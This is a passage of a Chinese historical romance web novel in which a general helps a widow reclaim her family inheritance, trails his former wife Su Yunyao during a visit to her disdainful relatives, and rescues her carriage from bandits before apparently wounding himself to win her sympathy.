他已多日未在静思院过夜,这个时辰,院里该是漆黑一片才是。
还未等他走进房中,听到外面阔步而来的脚步声,宋婉柔理了理裙摆,起身迎了出来。
“夫君,你回来了。”
她抬眸盈盈一笑,敷了红艳口脂的双唇,在暗沉的夜色下,显得妩媚动人。
裴秉安脚步一顿,负手立在门槛外,道:“婉柔,你来了,我正好有事要同你说。”
宋婉柔抬手捋了捋耳旁的几缕乌发,抬眸目不转睛地看着他,轻轻抿唇笑了笑。
自从苏氏离开裴府后,便几乎见不到他的身影,明天是年节,知道他今晚一定会回来,她提前备了些酒菜,已在这里等了半个时辰。
“正好,我找夫君也有事。”说着,她指了指房内,柔声道,“夫君,我亲自下厨做了些菜,一同饮杯酒吧。”
裴秉安展眸看去,只见屋内的桌案上,放了几碟菜和一壶杏花酒,杏花酒还是宋伯父生前与他常饮的那种,这让他出神了片刻。
然而只是一瞬,他便拧眉收回了视线,从袖中掏出一份文书来。
当初宋伯父伯母去世以后,她由叔父叔母做主,嫁去了千里之外的甘州。
她的丈夫,纳了许多小妾,英年早逝是因纵欲过度患了急症。
而她因为没有子嗣傍身,在婆家难以立足,姑嫂婆母明里暗里欺负排挤她,宋家叔父叔母不理会她过得如何,无奈之下,她才不得不写信给他。
而自从她回到京都后,她的叔父叔母依然对她不闻不问,漠不关心。
当朝律法有令,户绝之家,在室女或出嫁女可继承娘家遗产的五分之一,而田产家宅除外,是以,她当初出嫁时的嫁妆微薄,她爹娘去世之前留下的田产家宅,都被叔父叔母所占。
这对于女子来说,实在不公。
此前上朝时,他便上奏请求更改律法,户绝之家,无论是在室女还是外嫁女,均可继承父母遗产,而丧夫的寡妇,生前可自由选择呆在夫家或娘家,死后亦可随自己心意葬入夫家或娘家的祖坟。
就在近日的朝会之上,皇上已批准他的奏请,而他手里的这份文书,便是最新的律法敕令。
裴秉安沉声道:“婉柔,当初让你以妾室的身份入了裴家族谱,实在是无奈之下的下策。现在你的身体已几乎痊愈,我也放心了。凭着这份敕令,你可以马上返回宋家。”
宋婉柔愣了一瞬,有些不相信似的,急忙接过他的文书看了看。
一目十行地看完,她急促得深吸几口气,情不自禁地红了眼眶。
宋家是官宦世家,家产颇丰,可因为爹娘只有她一个女儿,叔父婶母理所应当地接手了她家的家产。
世人都是这样认为的,她也觉得没什么不对,甚至,她都从未想过,那些田产宅院,还能再由她继承。
她也从没想到,他会因为她,向朝廷提请更改律法,让她能够重新返回娘家,拥有家中的一切。
她动了动唇,却不知该说什么,缓缓眨了眨眼睛,眼泪便唰地滚了下来。
裴秉安道:“莫哭,对身体不好。”
他淡淡笑了笑,语重心长地说:“以后,你依然还是名门宋家的姑娘,有家宅田产傍身,有我这个当兄长的守护,别人不会看轻了你。你想再嫁个好夫婿,或是独身潇洒度日,都随你自己的心意,如果伯父在天有灵的话,一定也会欣慰你这样的。”
宋婉柔默默深吸一口气,低头擦了擦眼泪。
有丰厚的家宅田产,便有了安身立命的底气,如果有这样的选择,她自然不会再做一个妾室。
她不禁犹豫了几瞬。
苏氏已经离开府邸,他尚还没有正妻,她可以留下来,做他的妻子,为他打理家宅。
想了想,宋婉柔道:“大哥真得要我走吗?我有了田产家宅,也可以留在裴府,照顾你一辈子的。”
“不必了,婉柔,我只是把你当做亲人,从无其他念头。”
斩钉截铁地拒绝了她,裴秉安转眸看向浓重得化不开的夜色。
那些深夜之时所有的辗转反侧,孤枕难眠,都是因为他心头魂牵梦萦着一个人。
他现在早已明白,情爱只能彼此唯一,不可分享。
先前他娶妻纳妾,开枝散叶的想法,着实自大无知,失去了苏氏,他才慢慢明白这个道理。
她不够贤惠也罢,性子倔强也罢,甚至,她身体不易有孕,无法为他诞下子嗣也罢。
他都不再在乎了。
他只希望,还能有机会,与她执手相携,共伴余生。
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过了年节,苏云瑶打算初十那日去一趟徐家,探望姑祖母。
选在那个日子,是有讲究的,一来,她与徐家是远亲,初十之前,徐家会有近亲要见,不会撞了日子,二来,徐长霖打发人给她送了信儿,他出了几日外诊,那天正好回府。
要带的礼品,苏云瑶亲自去铺子里挑选了许多,龙须酥,枣泥糕,阿胶膏,灵芝草等等,从各式各样的小吃点心,到滋养温补的补品,应有尽有,十分齐全。
甚至,她还提前做了一盒安神静心、舒缓郁情的沉香饼,准备送给姑祖母。
主仆两个逛了一下午,青桔累的脚都酸了,终于抱着一大堆买好的厚礼上了马车。
“小姐,为什么要买这么多啊?”
青桔噘嘴歇了几口气,啃起了酸酸甜甜的糖葫芦,心情才好了些。
要不是看在糖葫芦的份上,她才不想跟在小姐屁股后头提这么多东西。
那徐家夫人,对人又不好,当初她与小姐第一次上门去找徐公子,徐公子不在家,夫人连口茶都没让她们喝,就请她们回去了。
苏云瑶摸出颗八珍蜜枣丸放到嘴里,甜甜嚼了几下,微笑着说:“礼多人不怪。”
马车行到一处深巷外时,突然停了下来。
“小姐,前面有
人吵架,路被堵住了。“刘信道。
他话音刚落下,外面吵吵嚷嚷,破口大骂的声音便不断传了过来。
苏云瑶掀开车帘往外看了眼。
不知是谁家的小厮仆妇在与一群穿黑袍的皂吏对峙着,占据了整个巷口的路,有两个身穿绫罗绸缎的中年男女,拍着大腿愤怒地跳脚咒骂着,像是有强盗抢了他们的家财一样。
“掉头,绕过这一段路。”苏云瑶蹙眉吩咐道。
只是,马车刚刚转了个弯,眼角的余光往外瞥去,苏云瑶不禁愣了一下。
“停车!”她马上道。
刘信立刻勒紧缰绳,吁停了马车。
“小姐,怎么了?”
看到宋婉柔带着丫鬟白莲出现在那一群皂吏身后,还叉着腰与那中年男女吵了起来,苏云瑶不由奇怪地拧起了秀眉。
好端端的,她不在裴府呆着,怎么会出现在这里?
然而,不等她下车去一看究竟,突然,沉稳的脚步声异常清晰地传来,她看到,裴秉安从深巷之中大步走了出来。
他只是立掌挥了挥手,那中年男女便跟泄了气一样,恭敬得对他行了个礼后,带着小厮仆妇赶紧离去。
原本拥堵的路口,不多时便变得畅通无比,刘信在外面道:“小姐,我们是继续绕路,还是走这里?”
苏云瑶思忖了片刻。
不知裴秉安与宋婉柔到底在这里做什么,但她懒得理会他们,干脆还是装作没看见,掉头绕路算了。
不过,还没等她吩咐下去,裴秉安下意识转眸过来,先一步看见了她的马车。
他立即大步流星地走了过来。
“你们路过?”他沉声打了个招呼。
不想遇见,偏偏撞见,苏云瑶暗叹口气,脸上勉强挤出点笑容。
“是,这么巧,没想到,将军与宋姨娘也在这里。”
裴秉安微微拧起了眉头,锐利的眼神掠过她,落在车中那一大堆礼物上。
他视线突地一凝,道:“你是要去探望亲友,还是要给千山的师傅送束脩?”
这虽是自己的私事,却也没什么好隐瞒的,苏云瑶淡声道:“去探望亲友。”
闻言,裴秉安的脸色突然变得铁青。
京都之中,她的亲友,只有徐家。
备这么多厚礼,她是要打算博得徐家夫人的欢心,好与那徐大夫定亲?
第54章 第54章拧紧的剑眉,未曾舒展过……
寒风倏然拂过,墨色袍摆荡起沉冷凌乱的弧度。
静默无声的巷口,一动不动地望着苏云瑶的马车缓缓驶向远处,裴秉安久久伫立在原地,唇角僵直地抿成了一条直线。
轻缓的脚步声愈来愈近,宋婉柔神色轻松得从街巷里走了过来。
只是,亲眼目睹裴秉安恋恋不舍,又面带郁怒地盯着苏氏那渐渐远去的马车,她悄然垂眸,不自在地捏紧了手里的绣帕。
原来,虽然苏氏已与他和离了,他还依然对她念念不忘。
她心中突然闪过一个念头。
如果当初在到裴府时,她没有蓄意谋求苏氏的正妻之位,没有三番两次地使用伎俩离间他们的关系,不知他们还会不会和离?
当初她糊涂油蒙了心,一心想成为裴秉安的妾室,他无奈之下,终是将她的姓名记在了裴家族谱上,只是因为国孝,他们不曾办过婚仪,也没有经由官府办理婚书。
当时,她原以为是个无法补足的遗憾,如今想来,这于她来说,何尝不是一种幸运。
现在,爹娘遗留的三处宅院,数十间铺面,千亩良田都已到了她的名下,她是宋家名正言顺的继承人,拥有丰厚家资,余生再无所忧。
知道她在裴府做妾的过往的人寥寥无几,她可以如苏氏那样自由自在地生活,也可以再嫁个门当户对的年轻郎君,做当家理事、受人敬重的正头娘子。
她是一个自私自利、贪图富贵的人。
当初婶母将她远嫁到甘州,她便是听信了她说的那夫家有权有势,家财万贯,可没想到,她嫁的丈夫却是一个无耻好色、一事无成的纨绔。
成了寡妇之后,她在夫家受了不少磋磨刁难,她便写信向他求助。
她的心中,既有对他的几分爱慕,又看上了他的高官厚禄,于是便以两人年少时相识与宋家的恩情相逼,想方设法要留在裴府。
他为人厚道,一心为她着想,让她住最好的院子养病,为她请最好的大夫看诊,可她却为了一己私欲,害得他夫妻失和,府宅不宁。
她动了动唇,想将心中的愧疚对他和盘托出,可话到嘴边,又默默咽了下去。
她不能说。
如果他知晓了她是这样一个矫揉造作、心思恶毒,表里不一的女人,该怎样看她?
“家产的事,应该没什么问题了,你多请几个护院为你看宅守门,若是你的叔父婶母再来无理取闹,你便打发人来找我。”
耳边突然传来一道深沉的嗓音,打断了纷乱的思绪,宋婉柔猛地回神,手指不安地攥紧了绣帕,胡乱点了点头。
“好的,大哥,我知道了。”
处理好了婉柔的事,裴秉安没再多留片刻,便放心地大步离去。
只是,翻身上马之后,他本想要回裴府,青骓却像不明白他的命令似的,径直疾奔到了校尉胡同。
暮色四合时,月亮已升至半空,清朗月辉洒满大地,苏宅的大门清晰可见。
想到苏氏马车上的厚礼,还有她不日将要去徐家探望,裴秉安的眉头,便几乎拧成了一团。 :
胡同里的青石板路,他足足来回踱步了半刻钟。
途经那熟悉的苏宅门前,想上前叩响门板时,却因没有合适的理由见她,怕引起她的厌恶与反感,他每次踌躇几瞬,不得不黯然收回了手臂。
不知何时,胡同外传来肃然有序的规整脚步声,一队金吾卫士兵巡视城防,从此地经过。
为首的杨百户,发现胡同里有个形迹可疑的人,霍然一挥手喝停,提着长枪,迈开大步朝胡同里走来。
只是,刚一走到近前,清楚地看到裴秉安,四目相对片刻,他不由一愣,忙拱手道:“见过裴将军!”
他军职低微,按理来说,无缘能够亲自见到上将军,但他却确确实实认得裴秉安。
他的兄长曾是裴秉安麾下的一个无名小卒,几年前,征伐西金时,兄长战死沙场,朝廷曾给了杨家一笔一百二十两的抚恤金。
而因担心有人克扣银两,裴秉安亲自将抚恤金送到了杨家,看杨家贫困,租的宅院屋檐漏雨,厨房米缸空空,他妥善安置了杨家老小,让他们不再饱受风雨凄苦。
彼时裴秉安立下赫赫战功,威名远扬,亲眼见到裴将军,他虽气势严肃威冷,却爱兵爱民,仁心仁义,这不由让杨百户心生敬仰。
因此,当长到十八岁,可以应征入伍时,他通过了金吾卫的考核,成为了他麾下的一名士兵。
想到这里,像在接受裴秉安检阅一样,杨百户肃然挺直了身板,心中默默感叹。
最近城宝坊屡有盗贼行凶作案,夜色渐深,将军出现在这个胡同,定然是深念百姓安危,特意身着便服来此巡视。
“将军,我等已安排好轮班,每隔半个时辰便会巡视此坊一遍,如有凶徒出没,定会绳之以法,还请将军不必担心!”
闻言,裴秉安沉声道:“挨家挨户告知此事,提醒各家锁好门宅,出门时尤其注意,如果遇到鬼鬼祟祟之人,当先向官府禀报。”
杨百户拱手领命,“卑职马上就去。”
这进去校尉胡同,左手边的第一家,便是苏宅,杨百户正打算上前拍门,却听到裴将军突然吩咐道:“这家我来告知,你们去别
处。”
杨百户微微一愣之后,重重点了点头。
将军军务繁忙,日理万机,这种小事,将军竟要亲自处理,可见将军将百姓的安危记在心上,他们自然要更加勤勉尽心,方能不辱使命!
眼看杨百户率兵去了临户,站在苏宅门外,默然静立了一会儿,裴秉安抬手,清晰沉稳的叩门声响了起来。
不一会儿,门后便传来熟悉的脚步声,轻快,又稳当,虽没有看到苏氏的模样,却能想象,她此时的心情,必然极佳。
裴秉安下意识理了理衣襟。
院门吱呀一声打开,苏云瑶往门外看了看。
看见是他,她微微一愣,喜悦的神情消失不见,刚要拉开的门板,砰得一声合了起来。
“这么晚了,将军来做什么?”
隔着门板,她耐着性子与他说了句话。
她可不想见到他。
如果他平白无故便来这里打扰,别怪她气恼翻脸,再也不让他靠近苏宅一步!
外面沉默了一会儿,裴秉安清了清嗓子,道:“云瑶,我来这里,是告诉你最近京都有歹人出没,你呆在宅中,或是出门,都要多加小心。”
苏云瑶:“哦。”
她竖起耳朵听着外面的动静。
一墙之隔的邻居家,也传来了声音,是巡防的卫兵,他们大声说的话,与裴秉安所说大同小异。
既然是他办差到此,好心提醒,苏云瑶思忖几瞬,打开了门。
“多谢将军,我知道了。”苏云瑶点了点头,礼貌地朝他致谢。
清朗月色下,裴秉安垂眸深深凝视着眼前的人,唇角勾起一丝难以察觉的弧度。
能这样多见她一面,实在让他喜出望外。
其实,城坊之中偶有歹人出没,算不得什么大事,自有他的属下处理,但,想到她的家之中只有几个女子,每次出门,她身边只有一个会些皮毛功夫的青桔,这着实让他放心不下。
“你最好再雇一个信得过的男护院,帮你看守家宅,出门时,也时刻守护在你左右,保护你的安全。”他沉声提醒道。
“好,我会记下的。”
话虽如此,苏云瑶却轻轻蹙起了眉头。
她的香料铺日进斗金,她也担心会被贼人盯上,只是要尽快找个信得过的护院,并没那么容易。
话已说完,裴秉安静静等了一会儿,不见眼前的人有让他进门的意思,便知趣地打算离开。
临别之前,他突然道:“对了,你何时去徐家?”
苏云瑶蓦然一愣。
以为他提及这事与那什么歹人有关,她谨慎地想了会儿,道:“初十,那日出行,可有问题吗?”
情绪难辨地沉默了许久,裴秉安才勉强开口道:“没什么问题。”
离开校尉胡同后,深沉夜色中,街道空无一人,惟有透着凉意的寒风阵阵袭来。
风驰电掣般打马离开城宝坊,一路上,裴秉安脸色沉冷如冰,默然拧紧的剑眉,未曾舒展过半分。
第55章 第55章不想再与他说话。
城南坊的徐家,原是先帝御赐的宅院。
进门是一座五进大宅,东西还各有几处跨院,灰色的院墙延伸数里,足足占据了半条街的长度。
当初徐家女儿进宫以后,曾深受当今圣上宠爱,晋封为妃。
只是几年之后,她却借兄长太医院院判的职务之便,下毒谋害太子,皇后娘娘揭发了她的罪行之后,皇上震怒不已,要重重处罚徐家。
那时,若非长公主苦苦为徐家求情,徐家难逃抄家流放的大罪。
而今,徐夫人时常在房内出神地回忆过往。
徐家本是杏林世家,公爹因医术非凡,深得先帝器重,丈夫医术了得,继任公爹的院判官职,亦得当今圣上看重。
若非小姑当初在宫中犯事,连累了丈夫,徐家本会继续传承医术,享受荣宠,她的儿子,也该继任院判,大有作为,而不是像如今这样,只能在一个小小医堂中做大夫。
思绪飘然许久,又悄然回笼。
看到苏氏这位远亲家的女儿,以及儿子鞍前马后殷勤照顾她的样子,徐夫人转过脸去,不高兴地皱起了稀疏的眉头。
“姑祖母,我做了些沉香饼,晚间睡前,燃上一些,有助于静心安眠。”苏云瑶道。
徐夫人面无表情地看了那香饼一眼,便收回了视线,似笑非笑地淡声道:“多谢,你费心了,只是我与别人习惯不同,不爱用香。”
她话音方落,徐长霖便笑着说:“娘,习惯是可以改的嘛,这可是瑶瑶亲手做的,一看便是上好的香饼,你一定用用试试,说不定就喜欢了呢。”
徐夫人不高兴地瞪了他一眼,徐长霖却装作没看见,而是笑眯眯地吩咐嬷嬷将香饼好生收起来。
“娘,你不是早就想见瑶瑶了吗?今天她特意来看望你,为了庆祝我们相聚,我决定露一手,亲自给你们做道红烧鲈鱼。”
听到他这样说,苏云瑶意外地抬起了秀眉,默默思忖了一瞬。
离开青州,她许久没吃最喜欢的清蒸鲈鱼了,徐长霖会做鱼,他做的清蒸鲈鱼,只吃过一次,便一直让她念念不忘。
“要清蒸的,不要红烧的。”
她微微偏过头去,在徐夫人未曾注意的时候,压低声音对他说。
徐长霖却犹豫了一下。
“大小姐,今天吃红烧的,下次给你做清蒸的,好不好?”他好声好气得同她商量。
看他有些为难的模样,苏云瑶没再多说什么,只是轻轻点了点头。
清蒸鲈鱼最好,如果不是,她只是有一点点失落,但也不会太在意。
毕竟她想吃什么,苏宅请来的厨娘便可以动手做,不是非要他做不可。
看到少爷亲自去下厨,徐夫人身旁的嬷嬷笑道:“夫人,少爷真是孝顺,一直记得您最爱吃他做的红烧鲈鱼。”
闻言,徐夫人面无表情的脸,浮现出一点笑意。
她勾了勾单薄的唇角,突然想起一事,便淡淡笑着看向苏云瑶,嘱咐道:“苏姑娘,我看你和长霖很熟,彼此之间说话,也不讲究什么辈份了,这样却不好,虽说你们年龄相仿,可他到底是长辈,以后不管人前人后,你都该叫他小叔才是。”
苏云瑶愣了愣,随即面不改色地客气笑道:“是我忘了。小叔与我一同长大,我们经常一起玩耍,有时混闹起来,难免忘了长辈与晚辈的身份,就连当初写信,我也没有避讳,直呼了小叔的名字,实在不敬。多谢姑祖母提醒。”
听她这样说,徐夫人低下头,不自在地啜了几口茶。
几年前苏家出事,她曾接连写了许多信来。
当初将长霖送到苏家是为避祸,他在苏家呆了六年,于这一点来说,徐家是该对苏家感恩,苏家落难,不该坐视不理。
但那时他在长公主的行宫中研制医方,不能分心,她便瞒下了消息。
身为寡母,她要为自己的儿子做打算,要为徐家多考虑,如此行事,实属不得以而为之。
徐夫人抿了抿唇角,别过脸去,没有再说什么。
饭间,那碟酱香浓郁的红烧鲈鱼端了上来,徐长霖挑干净了刺,先夹了几块放到徐夫人的碗里,又挑了一块鱼肚子上最鲜嫩的肉,放到了苏云瑶面前的碟子里。
“瑶瑶,尝尝我的手艺。”
苏云瑶礼貌地吃了一口,笑道:“多谢小叔。”
徐长霖唇畔的笑意忽然凝住。
他没听错吧,她竟然叫他小叔?
他愕然拧起眉头,百思不得其解地看了她几眼,只是苏云瑶垂眸慢慢吃着菜,没有理会他的视线。
一旁,不动声色地看着儿子的神情由眉飞色舞变成闷闷不乐,徐夫人未发一言,反觉欣慰。
儿子的心思,她如何看不出来?
可苏氏貌美又有财资有何用,徐家最不缺的就是家财,她需
要的是一个官宦之家出身的儿媳,苏氏无权无势,于徐家没有任何助力。
若非看在苏家当年照顾过长霖的份上,她根本不愿儿子去照护她,将来,更不可能允许她嫁进徐家。
用完饭,客气地闲话了几句,苏云瑶要打道回府。
送她到府门外,当着儿子的面,徐夫人亲热地拉住她的手,假意惺惺嘘寒问暖了起来。
在徐长霖返回去取八珍蜜枣丸,府门处只剩她们两人时,她便立即撒开了苏云瑶的手,脸上的慈爱笑意也消失得无影无踪。
“苏姑娘,你还年轻,以后早晚还要嫁人吧?我有一个远房表孙,与你同辈,虽比不上长霖,样貌也还不错,家境也过得去,就是没了妻子,要娶一房续弦。你若有再嫁的念头,姑祖母为你说和说和?”
苏云瑶轻轻勾起唇角,眼神平静地看着她,像是丝毫没察觉到她的无礼与冒犯。
“姑祖母,你的好意我心领了,不过,我的终身大事,就不劳你费心了。”她顿了顿,亲热地拉住了徐夫人的手,礼尚往来得对她说,“姑祖母寡居多年,养育小叔,实在辛苦,如今小叔大了,姑祖母也要多为自己着想。我有一个远房表祖伯,与姑祖母同辈,样貌家境都不错,也是要再娶一房妻子,姑祖母要不要考虑考虑?”
话音落下,徐夫人的脸红一阵白一阵,双眼几乎喷出怒火来。
“你好没教养,怎么同我说话的?”
苏云瑶微微一笑,双手紧紧握住她的手,却没有理会她的话。
徐长霖快步走出来的时候,正看见两人手拉着手,还如之前那样亲热地聊着家常。
他欣慰地勾起唇角,远远便高声喊道:“瑶瑶。”
回眸看见他,苏云瑶才慢条斯理地撒开了徐夫人的手。
看在他的份上,她懒得与他娘多计较,不过,就算不与她计较,她也不会让徐夫人这样恶心她。
自知理亏,看到儿子过来,徐夫人脸色虽冷,却也及时闭紧了嘴。
回苏宅的路上,因为在徐家没吃到清蒸鲈鱼,一路上,青桔撅着嘴闷闷不乐。
“小姐,徐公子虽然好,徐夫人却不好,下次我们不要再去徐家了!”
苏云瑶没有作声。
不过,打开那盒徐长霖亲手制的八珍蜜枣丸,她尝了一颗,眉头却疑惑地拧了起来。
她的嗅觉异常灵敏,什么奇特的味道都逃不过她的鼻子,可这盒蜜枣丸,仔细闻去,竟隐隐约约有一股艾草薄荷香饼的味道。
她不由愣了许久。
那艾草薄荷香饼,是她亲手教给永嘉郡主做的,徐长霖所制的蜜枣丸,怎会也有这种香味?
还没等她想出个所以然来,一匹高头大马忽然从旁疾驰而过,高坐在马背上的人认出她的马车,立即放慢了速度,驱马与她的马车并行。
听到外面的马蹄声,苏云瑶掀开车帘向外看去。
四目相对,裴秉安垂眸看了她一瞬,一抹意外从眸底闪过。
他本以为,再过两个时辰才能与她相遇,没想到,刚过午时,她便从徐家回来了。
带了那么多厚礼,却没在徐家多呆一会儿,难不成是徐夫人没尽地主之谊,待她不好?
“可用过饭了?”他沉声问道。
心情本就不妙,又遇见了不想见的人,苏云瑶烦躁地揉了揉额角。
“用过了。”她淡声道。
裴秉安略一颔首,沉思片刻,看着青桔,状似关心地说:“吃饱了吗?可吃到你喜欢吃的东西了?”
青桔不高兴地摸了摸肚子,撅着嘴说:“没有,我想吃清蒸鲈鱼,徐公子却做了红烧的,我不爱吃。”
裴秉安不动声色地收回了视线。
他记得,苏氏的婶母来探望她时,曾提过,她最爱吃清蒸鲈鱼。
青桔的口味喜好,与她家小姐有诸多相似之处,这么说,苏氏也不爱吃那道红烧鲈鱼了。
探完远亲,她早早回府,其中原因,可窥一二。
“我知道一家酒楼,清蒸鲈鱼很是不错,正好我还没用饭,要不一起去尝尝?”
听到将军的话,青桔高兴地咧开了嘴角,正要点头时,可看到小姐警告的眼神,便忙拨浪鼓似地摇了摇脑袋。
“将军,不必了,没事的话,就此别过吧。”拒绝了他,也不想再与他说话,苏云瑶抬手拉上车帘,毫不留情地隔绝了他的视线。
马车辘辘而行,坐在马车里,想到将军刚才邀请她们一起去吃鲈鱼,青桔的肚子饿得咕噜噜叫了几声,便赶紧啃了块红豆酥垫垫。
透过另一边的车窗,眼巴巴望着路边的酒楼,她心里忽然喜滋滋地想,小姐不愿与将军一起去,可以只带她去啊!
“小姐,我想去酒楼,我们什么时候去?”
“时辰尚早,先去颐湖逛一逛,回来再带你去酒楼。”想去城外散散心,苏云瑶这样吩咐道。
收到主子的吩咐,车夫立即转弯,驾车向城外的方向驶去。
马车疾驰离开,转眼便与裴秉安拉开了远远一段距离。
遥遥望着马车向城外人迹稀少的颐湖行去,想到京都最近偶有歹人出没,裴秉安神色一凛。
不放心她们主仆的安全,迟疑许久后,他扬鞭催马追了过去。
第56章 第56章胸口很疼。
正值午后,马车驶过两旁都是密林的城郊土路,直奔颐湖的方向而去。
马车里,苏云瑶闭眸靠在车壁上养神,秀眉却微微蹙起。
想到永嘉郡主极为珍视的薄荷艾草香饼,脑海中有什么影影绰绰的念头呼之欲出,可一时又想不出到底是什么,她不由烦躁地揉了揉额角。
徐长霖对她很好,她从没怀疑过。
即便当初他娘扣下了她的信,他错过了她的消息,没有对她施以援手,她也只是默默气恼了一阵,之后再相见时,已几乎原谅了他大半。
只是,她思来想去也琢磨不出,那未曾相见的三年,他从未提及过,不知那时候他到底在做什么?
马车平稳地往前走着,却忽然停了下来。
本来寂静的道路上,突然铮的几声,响起刀剑纷纷出鞘的声音。
一群栖息于树林的鸟雀被惊醒,扑棱着翅膀向远处飞去,留下一长串古怪的嘎嘎惊鸣声。
车夫惊慌失措地勒住缰绳,大声道:“有,有人抢劫!”
苏云瑶微微一愣,想起最近裴秉安曾提醒过她城中有歹人出沒,她的脸色不由变了。
“小姐,又有抢劫的,我去收拾他们!”青桔提起不会轻易离身的铁棍,自告奋勇地拍了拍胸脯。
苏云瑶示意她稍安勿躁。
她小心翼翼掀开车帘,往外看了一眼,只见对方一行有七八个青壮年男子,个个持刀提剑,凶神恶煞,俨然是一伙流窜作案的匪徒。
她马上放下车帘,对青桔摇了摇头,低声道:“不行,不许冲动。”
当年苏家遇事时,有人趁火打劫,在她带着青桔出行时,拦住了她们的马车索要钱财。
那时她带着防身的袖箭,青桔提着铁棍,两人倒是不惧怕那些歹人,只是在驱赶歹人时,为了护着她,青桔不小心磕坏了脑袋。
自那以后,但凡出行,遇到求财的匪徒时,她宁肯破财消灾,也不能再让青桔冒一点儿险。
苏云瑶很快镇定下来,吩咐车夫说:“别害怕,你仔细听着,我说什么,你便对他们说什么。”
主子临危不惧,车夫提起的心也放
下了一些。
隔着大约两丈远的距离,见那些人提着寒光闪闪的刀剑步步逼近,他攥紧了手里的长鞭,侧耳倾听苏云瑶轻声说完后,便高声重复道:“各位,萍水相逢,我们只是路过此地,无意冲撞,还请让一让路,容我们过去。车里有些许钱财,不成敬意,请各位喝点薄酒,还请不要嫌弃。”
闻言,为首的强盗呸的一声吐出嘴里嚼烂的稻草,嘿嘿一笑露出满口黄牙,道:“好啊,是个懂道上规矩的,有眼色,老子先看看,你们出的酒钱是多少。”
马车内,苏云瑶默默深吸了几口气定神。
她把自己绣着紫薇花的藕色钱袋掏出来,倒干净了里面的碎银,用一块平平无奇的普通帕子包了,在上面打了个粗糙的结,拉开一点车门缝隙,将帕子扔了出去。
空中划过一道弧线,沉甸甸的碎银不偏不倚地落到了盗贼的面前。
为首的盗贼捡起来,掂了掂重量,铿锵一声拔出刀来,咧嘴不屑地笑了几声,“这么点,你们打发叫花子呢?”
那长刀寒光闪闪,车夫只觉头皮一紧,心脏几乎瞬间蹦到了嗓子眼。
他嘴唇哆嗦几下,颤抖着嗓音说:“他……他们不满意,怎……怎么办?”
车内,苏云瑶依然镇定。
与劫匪打过数次交道,她多少了解一些这种人的习性,他们贪得无厌,胃口很大,轻易难以填满,且干得都是打家劫舍的勾道,根本不把人命放在眼里。
她先礼后兵,如果对方非要兵戈相向,她也不会坐以待毙。
她无声打开车座旁的暗格,一把小巧的弓箭并几根铁簇羽箭现了出来。
转瞬间,她动作利落地拉紧弓弦,箭尖挑开车帘,稳稳对准了不远处的贼首。
“告诉他们,车上还有一根铁棍一把弓箭,尚值些银两,问他们可愿意要?”
听到这些话,劫匪狠狠恶笑的模样一变,彼此面面相觑了片刻。
车上的人没露脸,也没出声,只有一枚森冷的箭簇瞄向这边,让人一时摸不准对方的实力到底如何。
这边虽是城外的僻静处,却偶有车马行人经过,留给他们行事的时间有限。
再者,若是动了刀兵,那箭簇无眼,只怕会伤到兄弟,与车上的人缠斗时间久了,反而于他们不利。
此时拿了银子,贼不空手,没白来一趟,不若先走为妙。
“那就不必了,我等收下你们的酒钱……”
话音未落,一匹黑鬃高头大马疾风般踏尘而来。
还未到近前,高坐在马背上的男子飞身而下,落地的瞬间,一个箭步上前,还未等那贼首反应过来,便旋身飞踢过去。
当啷一声,贼首手中的长刀脱手飞出,径直飞出了三丈之外。
贼首瞬间只觉右臂被一股强大的力量震得发麻,刚本能地抬手扶住了胳膊,迎面又猝不及防袭来了一记铁拳。
只听惨叫一声,几枚带血的黄牙飞了出去,贼首双膝一软,直挺挺地跪到了地上。
“大侠,饶命,饶命啊!”
来人功夫刚猛,气势凛冽,几招之间,便将头儿打得满地找牙,劫匪们惊惧得齐齐后退几步,战战兢兢提紧了手里的刀。
“你,你是哪里来的,我们无冤无仇,何必动粗?”
裴秉安冷冷抿直唇角,一拂袍摆,抬步朝他们走去。
“你们做贼匪,行恶事,拦住行人马车,劫持路人家财,我自该出手惩治,奉劝各位,现在放下兵刃,认罪自首,尚有活路,如若不然,别怪裴某出手太重。”
听完他的话,几个贼匪面面相觑,犹豫不决,惟有一个不甘心地转了转眼珠,突然提剑朝一旁的马车跑去,想要劫持呆立在车旁的车夫做人质。
霎那间,只见裴秉安快如闪电般劈手夺下近前的一柄长刀。
他手腕一抖,长刀便似裹挟着千钧之力,精准无误地朝那贼匪飞去。
只听一声惨叫响起,贼人扑通一声倒地,抱着血流如注的大腿,高声哀嚎起来。
剩下的人再也没有了任何侥幸的念头,霎时屁滚尿流般抱头鼠窜,生怕多留一瞬,便会丢了小命。
他们意图逃窜离开,没有认罪悔过的念头,裴秉安不由神色一凛,撩袍大步流星地追赶了过去。
不过短短半柱香的时间,几个贼匪便被卸了兵刃,伏首认罪,只有最后一个身形灵活,仗着自己熟悉附近的密林地形,东躲西藏,仓促奔逃,将其他人远远甩在了后面。
周边静悄悄的,只有风吹过树梢的簌簌响动,就在他以为终于逃过一劫,可以放心地靠在树干上喘口气时,裴秉安循迹而来,无声大步走近。
泛着寒意的刀尖突然抵住了脖颈,贼人心里一惊,毛骨悚然地转过头去,颓然放弃了逃跑的念头。
“公子,饶命啊,我以后再也不敢抢劫了,还请公子给我留条活路……”
话未说完,裴秉安拧眉沉思片刻,突然把刀递给了他。
“给你机会,我站着不动,你可以刺我一刀。”他指了指自己的胸口,突然吩咐道。
贼人目瞪口呆地看着他,下意识往后缩了缩身子,霎时眼泪鼻涕齐下,脑袋朝下砰砰磕了几个响头。
“公子,饶我一命吧,打死我,我也不敢动你一根毫毛,我这就去投案自首,以后再也不敢做恶事了!”
贼人胆子太小,不敢接刀,裴秉安无语片刻,没有为难他。
只是转身的瞬间,他波澜不惊地握紧了刀柄。
噗嗤一声,刀尖刺破皮肉的声音响起,一团血雾,自他的胸口飙溅了出来。
密林外,小道旁,那些早已没有还手之力的匪贼,被苏云瑶和青桔绑住了手脚,车夫已按照她的吩咐去官府报案,只等衙役来此,将这些贼人押去监房待审。
不过,等了许久,依然不见裴秉安回来,她频频望着密林深处,因担忧他的安危,一颗心始终提着。
在她不知道第几次朝树林里张望的时候,耳旁终于响起了熟悉的沉稳脚步声。
裴秉安一手按住胸口,大步朝她走了过来。
只不过,此时他眉头紧紧拧成一团,一向沉冷如冰的脸庞毫无血色,苍白得如同一张白纸。
苏云瑶愣了一下,急忙朝他小跑过去。
走到近前,看到鲜血几乎浸透了他胸口的衣襟,她大惊失色,一颗心几乎提到了嗓子眼。
“你受伤了?严不严重?”因为太过惊怕忧心,说话时,她自己尚未发觉,她的嗓音简直颤抖得不成声调。
